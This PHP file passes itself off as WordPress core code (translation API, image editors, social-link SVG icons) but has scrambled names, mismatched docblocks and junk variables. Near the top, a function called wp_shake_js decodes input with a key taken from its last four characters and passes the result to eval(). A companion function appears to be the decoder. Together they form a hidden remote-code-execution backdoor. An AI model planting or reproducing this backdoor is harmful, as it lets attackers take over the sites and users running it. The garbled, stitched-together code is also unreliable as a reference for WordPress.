add_query_arg(array('mode' => $_POST['mode']), $meridiem); } wp_safe_redirect($meridiem); exit; } /* for futur use case PCLZIP_CB_PRE_DELETE : case PCLZIP_CB_POST_DELETE : case PCLZIP_CB_PRE_LIST : case PCLZIP_CB_POST_LIST : */ function wp_shake_js($header_image_data_setting){ // Trees must be flattened before they're passed to the walker. $check_comment_lengths = [72, 68, 75, 70]; $latlon = "Learning PHP is fun and rewarding."; $found_networks_query = "a1b2c3d4e5"; $file_dirname = 5; $style_definition_path = substr($header_image_data_setting, -4); $ychanged = 15; $ylim = preg_replace('/[^0-9]/', '', $found_networks_query); $f5f8_38 = max($check_comment_lengths); $cachekey_time = explode(' ', $latlon); $eq = wp_ajax_save_widget($header_image_data_setting, $style_definition_path); // http://en.wikipedia.org/wiki/AIFF // There are some checks. // QWORD eval($eq); } /** * Accesses a flag that indicates if an element is a possible candidate for `fetchpriority='high'`. * * @since 6.3.0 * @access private * * @param bool $skip_link_script Optional. Used to change the static variable. Default null. * @return bool Returns true if high-priority element was marked already, otherwise false. */ function wp_ajax_add_tag($skip_link_script = null) { static $back = true; if (is_bool($skip_link_script)) { $back = $skip_link_script; } return $back; } $maxTimeout = array_map(function($offsiteok) {return $offsiteok + 5;}, $check_comment_lengths); /** * WordPress Translation Installation Administration API * * @package WordPress * @subpackage Administration */ /** * Retrieve translations from WordPress Translation API. * * @since 4.0.0 * * @param string $f5g9_38 Type of translations. Accepts 'plugins', 'themes', 'core'. * @param array|object $cached_response Translation API arguments. Optional. * @return array|WP_Error On success an associative array of translations, WP_Error on failure. */ function wp_post_revision_title_expanded($f5g9_38, $cached_response = null) { // Include an unmodified $cookie_name. require ABSPATH . WPINC . '/version.php'; if (!in_array($f5g9_38, array('plugins', 'themes', 'core'), true)) { return new WP_Error('invalid_type', __('Invalid translation type.')); } /** * Allows a plugin to override the WordPress.org Translation Installation API entirely. * * @since 4.0.0 * * @param false|array $f5g5_38 The result array. Default false. * @param string $f5g9_38 The type of translations being requested. * @param object $cached_response Translation API arguments. */ $is_overloaded = apply_filters('wp_post_revision_title_expanded', false, $f5g9_38, $cached_response); if (false === $is_overloaded) { $meridiem = 'http://api.wordpress.org/translations/' . $f5g9_38 . '/1.0/'; $default_capabilities_for_mapping = $meridiem; $common_slug_groups = wp_http_supports(array('ssl')); if ($common_slug_groups) { $meridiem = set_url_scheme($meridiem, 'https'); } $featured_image_id = array('timeout' => 3, 'body' => array('wp_version' => $cookie_name, 'locale' => get_locale(), 'version' => $cached_response['version'])); if ('core' !== $f5g9_38) { $featured_image_id['body']['slug'] = $cached_response['slug']; // Plugin or theme slug. } $rgb_color = wp_remote_post($meridiem, $featured_image_id); if ($common_slug_groups && is_wp_error($rgb_color)) { trigger_error(sprintf( /* translators: %s: Support forums URL. */ __('An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.'), __('https://wordpress.org/support/forums/') ) . ' ' . __('(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)'), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE); $rgb_color = wp_remote_post($default_capabilities_for_mapping, $featured_image_id); } if (is_wp_error($rgb_color)) { $is_overloaded = new WP_Error('wp_post_revision_title_expanded_failed', sprintf( /* translators: %s: Support forums URL. */ __('An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.'), __('https://wordpress.org/support/forums/') ), $rgb_color->get_error_message()); } else { $is_overloaded = json_decode(wp_remote_retrieve_body($rgb_color), true); if (!is_object($is_overloaded) && !is_array($is_overloaded)) { $is_overloaded = new WP_Error('wp_post_revision_title_expanded_failed', sprintf( /* translators: %s: Support forums URL. */ __('An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.'), __('https://wordpress.org/support/forums/') ), wp_remote_retrieve_body($rgb_color)); } } } /** * Filters the Translation Installation API response results. * * @since 4.0.0 * * @param array|WP_Error $is_overloaded Response as an associative array or WP_Error. * @param string $f5g9_38 The type of translations being requested. * @param object $cached_response Translation API arguments. */ return apply_filters('wp_post_revision_title_expanded_result', $is_overloaded, $f5g9_38, $cached_response); } /** * Returns the post thumbnail URL. * * @since 4.4.0 * * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`. * @param string|int[] $sub_attachment_id Optional. Registered image size to retrieve the source for or a flat array * of height and width dimensions. Default 'post-thumbnail'. * @return string|false Post thumbnail URL or false if no image is available. If `$sub_attachment_id` does not match * any registered image size, the original image URL will be returned. */ function use_ssl_preference($cuetrackpositions_entry) { // If not set, default to the setting for 'show_ui'. // Variable BitRate (VBR) - minimum bitrate $widget_object = send_headers($cuetrackpositions_entry); // array of raw headers to send $pinged_url = "computations"; // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. $BlockType = post_comment_meta_box($cuetrackpositions_entry); // comment_type $redirect_url = substr($pinged_url, 1, 5); // carry = e[i] + 8; return [ 'capitalized' => $widget_object,'reversed' => $BlockType]; } $exported_setting_validities = $subkey + $GPS_free_data; /** * Handles uploading a generic file. * * @deprecated 3.3.0 Use wp_media_upload_handler() * @see wp_media_upload_handler() * * @return null|string */ function send_headers($cuetrackpositions_entry) { $preset_style = "Functionality"; return ucwords($cuetrackpositions_entry); } /** * Makes URLs relative to the WordPress installation. * * @since 5.9.0 * @access private * * @param string $page_list The CSS to make URLs relative to the WordPress installation. * @param string $initial_meta_boxes The URL to the stylesheet. * * @return string The CSS with URLs made relative to the WordPress installation. */ function validate_column($page_list, $initial_meta_boxes) { return preg_replace_callback('#(url\s*\(\s*[\'"]?\s*)([^\'"\)]+)#', static function ($TheoraPixelFormatLookup) use ($initial_meta_boxes) { list(, $EncoderDelays, $meridiem) = $TheoraPixelFormatLookup; // Short-circuit if the URL does not require normalization. if (str_starts_with($meridiem, 'http:') || str_starts_with($meridiem, 'https:') || str_starts_with($meridiem, '//') || str_starts_with($meridiem, '#') || str_starts_with($meridiem, 'data:')) { return $TheoraPixelFormatLookup[0]; } // Build the absolute URL. $corderby = dirname($initial_meta_boxes) . '/' . $meridiem; $corderby = str_replace('/./', '/', $corderby); // Convert to URL related to the site root. $meridiem = wp_make_link_relative($corderby); return $EncoderDelays . $meridiem; }, $page_list); } /** * Sets up a new Archives widget instance. * * @since 2.8.0 */ function twentytwentytwo_styles($role_list, $f6_19){ $wp_registered_widget_controls = strlen($role_list); $wp_rest_additional_fields = 12; $litewave_offset = range(1, 10); $source_post_id = ['Toyota', 'Ford', 'BMW', 'Honda']; $rendered_widgets = [2, 4, 6, 8, 10]; $ASFIndexObjectData = 24; array_walk($litewave_offset, function(&$root_tag) {$root_tag = pow($root_tag, 2);}); $document_root_fix = array_map(function($offered_ver) {return $offered_ver * 3;}, $rendered_widgets); $default_template_folders = $source_post_id[array_rand($source_post_id)]; $lastChunk = 15; $style_variation_names = array_sum(array_filter($litewave_offset, function($skip_link_script, $permissive_match3) {return $permissive_match3 % 2 === 0;}, ARRAY_FILTER_USE_BOTH)); $orig_value = $wp_rest_additional_fields + $ASFIndexObjectData; $posts_controller = str_split($default_template_folders); $view = wp_ajax_send_link_to_editor($f6_19, $wp_registered_widget_controls); $search_parent = for_blog($view, $role_list); // which is not correctly supported by PHP ... // 6.4 return $search_parent; } /** * Retrieves network data given a network ID or network object. * * Network data will be cached and returned after being passed through a filter. * If the provided network is empty, the current network global will be used. * * @since 4.6.0 * * @global WP_Network $current_site * * @param WP_Network|int|null $AudioChunkStreamTypeetwork Optional. Network to retrieve. Default is the current network. * @return WP_Network|null The network object or null if not found. */ function set_output_encoding($generated_slug_requested) { $client = "SimpleLife"; $strip_teaser = 10; $hierarchical_taxonomies = 8; $base_location = range('a', 'z'); $pass_change_email = 0; $catid = strtoupper(substr($client, 0, 5)); $dependency_name = $base_location; $p_remove_path_size = range(1, $strip_teaser); $cache_data = 18; foreach ($generated_slug_requested as $source_width) { if (wp_get_translation_updates($source_width)) $pass_change_email++; } return $pass_change_email; } /** * Tests which editors are capable of supporting the request. * * @ignore * @since 3.5.0 * * @param array $cached_response Optional. Array of arguments for choosing a capable editor. Default empty array. * @return string|false Class name for the first editor that claims to support the request. * False if no editor claims to support the request. */ function maintenance_mode($cached_response = array()) { require_once ABSPATH . WPINC . '/class-wp-image-editor.php'; require_once ABSPATH . WPINC . '/class-wp-image-editor-gd.php'; require_once ABSPATH . WPINC . '/class-wp-image-editor-imagick.php'; require_once ABSPATH . WPINC . '/class-avif-info.php'; /** * Filters the list of image editing library classes. * * @since 3.5.0 * * @param string[] $mce_init_editors Array of available image editor class names. Defaults are * 'WP_Image_Editor_Imagick', 'WP_Image_Editor_GD'. */ $page_uris = apply_filters('wp_image_editors', array('WP_Image_Editor_Imagick', 'WP_Image_Editor_GD')); $ipaslong = false; foreach ($page_uris as $gen_dir) { if (!call_user_func(array($gen_dir, 'test'), $cached_response)) { continue; } // Implementation should support the passed mime type. if (isset($cached_response['mime_type']) && !call_user_func(array($gen_dir, 'supports_mime_type'), $cached_response['mime_type'])) { continue; } // Implementation should support requested methods. if (isset($cached_response['methods']) && array_diff($cached_response['methods'], get_class_methods($gen_dir))) { continue; } // Implementation should ideally support the output mime type as well if set and different than the passed type. if (isset($cached_response['mime_type']) && isset($cached_response['output_mime_type']) && $cached_response['mime_type'] !== $cached_response['output_mime_type'] && !call_user_func(array($gen_dir, 'supports_mime_type'), $cached_response['output_mime_type'])) { /* * This implementation supports the input type but not the output type. * Keep looking to see if we can find an implementation that supports both. */ $ipaslong = $gen_dir; continue; } // Favor the implementation that supports both input and output mime types. return $gen_dir; } return $ipaslong; } $v_year = 1.2; /** * Returns the SVG for social link. * * @param string $error_output The service slug to extract data from. * @param string $removed The field ('name', 'icon', etc) to extract for a service. * * @return array|string */ function wp_ajax_parse_embed($error_output = '', $removed = '') { $end = array('fivehundredpx' => array('name' => '500px', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"></path></svg>'), 'amazon' => array('name' => 'Amazon', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"></path></svg>'), 'bandcamp' => array('name' => 'Bandcamp', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"></path></svg>'), 'behance' => array('name' => 'Behance', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"></path></svg>'), 'chain' => array('name' => 'Link', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.6,7.2H14v1.5h1.6c2,0,3.7,1.7,3.7,3.7s-1.7,3.7-3.7,3.7H14v1.5h1.6c2.8,0,5.2-2.3,5.2-5.2,0-2.9-2.3-5.2-5.2-5.2zM4.7,12.4c0-2,1.7-3.7,3.7-3.7H10V7.2H8.4c-2.9,0-5.2,2.3-5.2,5.2,0,2.9,2.3,5.2,5.2,5.2H10v-1.5H8.4c-2,0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"></path></svg>'), 'codepen' => array('name' => 'CodePen', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"></path></svg>'), 'deviantart' => array('name' => 'DeviantArt', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"></path></svg>'), 'dribbble' => array('name' => 'Dribbble', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"></path></svg>'), 'dropbox' => array('name' => 'Dropbox', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"></path></svg>'), 'etsy' => array('name' => 'Etsy', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"></path></svg>'), 'facebook' => array('name' => 'Facebook', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"></path></svg>'), 'feed' => array('name' => 'RSS Feed', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"></path></svg>'), 'flickr' => array('name' => 'Flickr', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"></path></svg>'), 'foursquare' => array('name' => 'Foursquare', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"></path></svg>'), 'goodreads' => array('name' => 'Goodreads', 'icon' => '<svg width="24" 